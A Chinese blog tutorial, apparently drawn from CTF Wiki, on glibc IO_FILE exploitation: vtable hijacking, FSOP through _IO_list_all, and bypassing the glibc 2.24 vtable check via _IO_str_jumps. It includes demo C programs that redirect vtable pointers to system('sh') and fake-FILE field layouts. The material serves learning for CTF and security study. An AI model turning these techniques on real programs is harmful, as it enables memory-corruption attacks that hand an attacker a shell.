zoukankan      html  css  js  c++  java
  • IO_FILE pwn初步探索

    FILE结构

    FILE在linux系统的标准IO库中是用于描述文件结构的,称为文件流。FILE结构在程序执行fopen等函数时会进行创建,并分配在堆中。我们常定义一个指向FLLE结构的指针来接收这个返回值。
    FILE结构定义在libc.h中,如下所示

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
    #if 0
      int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
    

    进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示通过这个值我们可以遍历所有结构。
    在biaozhunI/O库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。他们的结构指针分别是_IO_2_1_stderr_、IO_2_1_stdoutIO_2_1_stdin

    IO_2_1_stderrIO_2_1_stdout、_IO_2_1_stdin_是_IO_FILE结构外包裹着另一种结构_FILE_plus,其中包含了一个重要的指针vtable指向了一系列函数指针。
    结构如下

    struct _IO_FILE_plus
    {
        _IO_FILE    file;
        IO_jump_t   *vtable;
    }
    
    

    IO_jump_t 保存的一系列指针

    void * funcs[] = {
       1 NULL, // "extra word"
       2 NULL, // DUMMY
       3 exit, // finish
       4 NULL, // overflow
       5 NULL, // underflow
       6 NULL, // uflow
       7 NULL, // pbackfail
       
       8 NULL, // xsputn  #printf
       9 NULL, // xsgetn
       10 NULL, // seekoff
       11 NULL, // seekpos      
       12 NULL, // setbuf
       13 NULL, // sync
       14 NULL, // doallocate
       15 NULL, // read
       16 NULL, // write
       17 NULL, // seek
       18 pwn,  // close
       19 NULL, // stat
       20 NULL, // showmanyc
       21 NULL, // imbue
    };
    

    伪造vtable劫持程序流程

    Linux中一些常见的IO操作函数都需要经过FILE结构进行处理。尤其是_IO_FILE_plus结构中存在vtable,一些函数会取出vtable中的指针进行调用。因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。

    具体用法

    修改vtable中的指针

    int main(void)
    {
        FILE *fp;
        long long *vtable_ptr;
        fp=fopen("123.txt","rw");
        vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable
    
        vtable_ptr[7]=0x41414141 //xsputn
    
        printf("call 0x41414141");
    }
    

    根据vtable在_IO_FILE_plus中的偏移得到vtable的地址,之后需要搞清欲劫持的IO函数会调用vtable中的哪个函数。
    这里给出常用函数执行过程中的调用:

    1.fread函数调用_IO_FILE_plus.vtable中的_IO_XSGETN指针
    2.fwrite函数调用_IO_FILE_plus.vtable中的_IO_XSPUTN指针,_IO_XSPUTN中会调用同样位于 vtable 中的_IO_OVERFLOW指针
    3.fclose函数调用_IO_FILE_plus.vtable中的_IO_FINISH指针
    4.printf/puts与fwrite函数调用大致相同,均会调用_IO_XSPUTN指针和_IO_OVERFLOW指针

    这里printf函数会调用vtable中的xsputn,并且xsputn是vtable中的第8项,之后就可以写入这个指针进行劫持。并且在xsputn等vtable函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus地址。比如这个例子调用printf,传递给vtable的第一个参数就是_IO_2_1_stdout_的地址。利用这点可以实现给劫持的vtable函数传参,比如:

    #define system_ptr 0x7ffff7a52390;
    
    int main(void)
    {
        FILE *fp;
        long long *vtable_ptr;
        fp=fopen("123.txt","rw");
        vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable
    
        memcopy(fp,"sh",3);
    
        vtable_ptr[7]=system_ptr //xsputn
    
    
        fwrite("hi",2,1,fp);
    }
    

    通过偏移计算得到xsputn的地址,将xsputn指针指向system函数地址,同时将_IO_FILE_plus头部的内容改为sh,这样fwrite函数中调用xsputn时实际运行system("sh")。
    但是在一般libc版本下,位于libc数据段的vtable是不可以进行写入的。不过,通过在可控的内存中伪造vtable的方法依然可以实现利用。

    #define system_ptr 0x7ffff7a52390;
    
    int main(void)
    {
        FILE *fp;
        long long *vtable_addr,*fake_vtable;
    
        fp=fopen("123.txt","rw");
        fake_vtable=malloc(0x40);
    
        vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset
    
        vtable_addr[0]=(long long)fake_vtable;
    
        memcpy(fp,"sh",3);
    
        fake_vtable[7]=system_ptr; //xsputn
    
        fwrite("hi",2,1,fp);
    }
    

    首先分配一块内容用来存放伪造的vtable,之后修改IO_FILE_plus的vtable指针指向这块内存。后面的步骤与上面一样,修改xsputn对应的指针为system函数地址,然后修改_IO_FILE_plus头部为sh,最后用fwrite触发xsputn指针的调用即可。

    FSOP

    FSOP是file stream oriented programing的缩写,根据前面对FILE的介绍得知进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,这个链表的头部由_IO_list_all维护。FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,但是单纯的伪造只是构造了数据,还需要用某种方法进行触发。FSOP选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。
    而_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
    1.当libc执行abort流程时
    2.当执行exit函数时
    3.当执行流从main函数返回时

    具体用法

    _IO_list_all是作为全局变量储存在libc.so中的,所以首先需要泄露ibc.so的基址,之后需要用任意地址写把_IO_list_all的内容改为指向我们可控内存的指针,然后在可控内存中布置上理想函数的vtable指针。为了能让我们构造的fake_FILE能够正常工作,这里需要满足一下条件:

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
                   && _IO_OVERFLOW (fp, EOF) == EOF)
               {
                   result = EOF;
              }
    

    也就是

    1.fp->_mode <= 0
    2.fp->_IO_write_ptr > fp->_IO_write_base
    

    看demo

    #define _IO_list_all 0x7ffff7dd2520
    #define mode_offset 0xc0
    #define writeptr_offset 0x28
    #define writebase_offset 0x20
    #define vtable_offset 0xd8
    
    int main(void)
    {
        void *ptr;
        long long *list_all_ptr;
    
        ptr=malloc(0x200);
    
        *(long long*)((long long)ptr+mode_offset)=0x0;
        *(long long*)((long long)ptr+writeptr_offset)=0x1;
        *(long long*)((long long)ptr+writebase_offset)=0x0;
        *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
    
        *(long long*)((long long)ptr+0x100+24)=0x41414141;
    
        list_all_ptr=(long long *)_IO_list_all;
    
        list_all_ptr[0]=ptr;
    
        exit(0);
    }
    

    这里分配了一个0x200大小的块用于伪造_IO_FILE_plus,前0x100伪造_IO_FILE,后0x100伪造vtable,在vtable中使用0x41414141覆盖_IO_overflow指针。之后覆盖位于libc中的全局变量_IO_list_all,把它指向我们伪造的_IO_FILE_plus。这样,通过调用exit函数,程序会执行_IO_flush_all_lockp,经过fflush获取_IO_list_all 的值并取出作为_IO_FILE_plus调用其中的_IO_overflow。也就是最终实现call 0x41414141的效果。

    glibc 2.24 下 IO_FILE 的利用

    在2.24版本的glibc中,全新加入了针对IO_FILE_plus的vtable劫持的检测措施,glibc会在调用虚函数之前首先检查vtable地址的合法性。首先会验证vtable是否位于_IO_vtable段中,如果满足条件就正常执行,否则会调用_IO_vtable_check做进一步检查。

    /* Check if unknown vtable pointers are permitted; otherwise,
       terminate the process.  */
    void _IO_vtable_check (void) attribute_hidden;
    /* Perform vtable pointer validation.  If validation fails, terminate
       the process.  */
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
      /* Fast path: The vtable pointer is within the __libc_IO_vtables
         section.  */
      uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
      uintptr_t ptr = (uintptr_t) vtable;
      uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
      if (__glibc_unlikely (offset >= section_length))
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
      return vtable;
    }
    

    计算section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断vtable - __start___libc_IO_vtables的offset,如果这个offset大于section_length,即大于__stop___libc_IO_vtables - __start___libc_IO_vtables那么就会调用_IO_vtable_check()这个函数。

    void attribute_hidden
    _IO_vtable_check (void)
    {
    #ifdef SHARED
      /* Honor the compatibility flag.  */
      void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
      PTR_DEMANGLE (flag);
    #endif
      if (flag == &_IO_vtable_check)
        return;
    
      /* In case this libc copy is in a non-default namespace, we always
         need to accept foreign vtables because there is always a
         possibility that FILE * objects are passed across the linking
         boundary.  */
      {
        Dl_info di;
        struct link_map *l;
        if (_dl_open_hook != NULL
            || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
                && l->l_ns != LM_ID_BASE))
          return;
      }
    
    #else /* !SHARED */
      /* We cannot perform vtable validation in the static dlopen case
         because FILE * handles might be passed back and forth across the
         boundary.  Therefore, we disable checking in this case.  */
      if (__dlopen != NULL)
        return;
    #endif
    
      __libc_fatal ("Fatal error: glibc detected an invalid stdio handle
    ");
    }
    

    如果 vtable 是非法的,那么会引发 abort。这里的检查使得以往使用 vtable 进行利用的技术很难实现。

    新的利用技术

    fileno与缓冲区的相关利用

    在vtable难以被利用之后,利用的关注点从vtable转移到_IO_FILE结构内部的域中。前面介绍过_IO_FILE在使用标准IO库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如fwrite、fread等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或者任意地址读。

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
      int _flags2;
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    };
    

    因为进程中包含了系统默认的三个文件流stdinstdoutstderr,因此这种方式可以不需要进程中存在文件操作,通过scanfprintf一样可以进行利用。在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示结束地址,通过控制这两个数据可以实现控制读写的操作。

    示例

    #include "stdio.h"
    
    char buf[100];
    
    int main()
    {
     char stack_buf[100];
     scanf("%s",stack_buf);
     scanf("%s",stack_buf);
    
    }
    

    在执行程序一次使用stdin之前,stdin的内容还是未初始化的

    gdb-peda$ x /40xg 0x7ffff7dd18e0
    0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2088	0x0000000000000000
    0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
    0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd3790
    0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
    0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
    0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0
    

    调用scanf之后可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等域都被初始化

    gdb-peda$ x /40xg 0x7ffff7dd18e0
    0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2288	0x0000000000602011
    0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x0000000000602012	0x0000000000602010
    0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x0000000000602010	0x0000000000602010
    0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x0000000000602010	0x0000000000602010
    0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x0000000000602410	0x0000000000000000
    0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
    0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd3790
    0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
    0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
    0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
    0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x00000000ffffffff	0x0000000000000000
    0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0
    

    可以看到缓冲区就是从堆分配的

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x602000            0x0                 0x410                Used                None              None
    

    执行一次scanf后,可以看到缓冲区中有我们输入的数据字符'c'

    gdb-peda$ x /10xg 0x602000
    0x602000:	0x0000000000000000	0x0000000000000411
    0x602010:	0x0000000000000a63	0x0000000000000000
    0x602020:	0x0000000000000000	0x0000000000000000
    0x602030:	0x0000000000000000	0x0000000000000000
    0x602040:	0x0000000000000000	0x000000000000000
    

    也就是说如果我们能够修改_IO_buf_base、_IO_buf_end域,我们就可以进行任意地址的读写。

    _IO_str_jumps

    libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的,这个vtable不在check的范围之内。

    const struct _IO_jump_t _IO_str_jumps libio_vtable =
    {
      JUMP_INIT_DUMMY,
      JUMP_INIT(finish, _IO_str_finish),
      JUMP_INIT(overflow, _IO_str_overflow),
      JUMP_INIT(underflow, _IO_str_underflow),
      JUMP_INIT(uflow, _IO_default_uflow),
      JUMP_INIT(pbackfail, _IO_str_pbackfail),
      JUMP_INIT(xsputn, _IO_default_xsputn),
      JUMP_INIT(xsgetn, _IO_default_xsgetn),
      JUMP_INIT(seekoff, _IO_str_seekoff),
      JUMP_INIT(seekpos, _IO_default_seekpos),
      JUMP_INIT(setbuf, _IO_default_setbuf),
      JUMP_INIT(sync, _IO_default_sync),
      JUMP_INIT(doallocate, _IO_default_doallocate),
      JUMP_INIT(read, _IO_default_read),
      JUMP_INIT(write, _IO_default_write),
      JUMP_INIT(seek, _IO_default_seek),
      JUMP_INIT(close, _IO_default_close),
      JUMP_INIT(stat, _IO_default_stat),
      JUMP_INIT(showmanyc, _IO_default_showmanyc),
      JUMP_INIT(imbue, _IO_default_imbue)
    };
    

    如果我们能设置文件指针的 vtable 为 _IO_str_jumps 么就能调用不一样的文件操作函数。

    overflow

    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
      int flush_only = c == EOF;
      _IO_size_t pos;
      if (fp->_flags & _IO_NO_WRITES)// pass
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
        return EOF;
          else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          _IO_size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)//pass 一般会通过
            return EOF;
          new_buf
            = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
          if (new_buf == NULL)
            {
              /*      __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '', new_size - old_blen);
    
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }
    libc_hidden_def (_IO_str_overflow)
    

    利用以下代码来劫持程序流程

    new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    

    几个条件 bypass:
    1.fp->_flags & _IO_NO_WRITES为假
    2.(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
    3.fp->_flags & _IO_USER_BUF(0x01)为假
    4.2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
    5.new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
    6.fp+0xe0指向system地址
    构造

    _flags = 0
    _IO_write_base = 0
    _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
    _IO_buf_end = (binsh_in_libc_addr -100) / 2 
    
    _freeres_list = 0x2
    _freeres_buf = 0x3
    _mode = -1
    
    vtable = _IO_str_jumps - 0x18
    

    finish

    原理与overflow类似

    void
    _IO_str_finish (_IO_FILE *fp, int dummy)
    {
      if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //[fp+0xe8]
      fp->_IO_buf_base = NULL;
    
      _IO_default_finish (fp, 0);
    }
    

    几个条件 bypass:
    1._IO_buf_base 不为空
    2._flags & _IO_USER_BUF(0x01) 为假
    构造:

    _flags = (binsh_in_libc + 0x10) & ~1
    _IO_buf_base = binsh_addr
    
    _freeres_list = 0x2
    _freeres_buf = 0x3
    _mode = -1
    vtable = _IO_str_finish - 0x18
    fp+0xe8 -> system_addr
    

    内容来源

    CTF Wiki FILE Structure Description
    CTF Wiki Forged Vtable to Hijack Control Flow
    CTF Wiki FSOP
    CTF wiki glibc 2.24 下 IO_FILE 的利用

  • 相关阅读:
    C 和 C++ 的标准库分别有自己的 locale 操作方法,C 标准库的 locale 设定函数是 setlocale(),而 C++ 标准库有 locale 类和流对象的 imbue() 方法(gcc使用zh_CN.GBK,或者zh_CN.UTF-8,VC++使用Chinese_People's Republic of China.936或者65001.)
    QCache 缓存(模板类,类似于map,逻辑意义上的缓存,方便管理,和CPU缓存无关。自动获得被插入对象的所有权,超过一定数量就会抛弃某些值)
    QBuffer简单操作(被看做一个标准的可随机访问的文件,支持信号)
    Qt里的原子操作QAtomicInteger
    进程、线程、协程、例程、过程
    net Core 2.2
    如何看源码
    code review规则
    NET Core中使用Dapper操作Oracle存储过程
    实现一个Promise
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13419069.html
Copyright © 2011-2022 走看看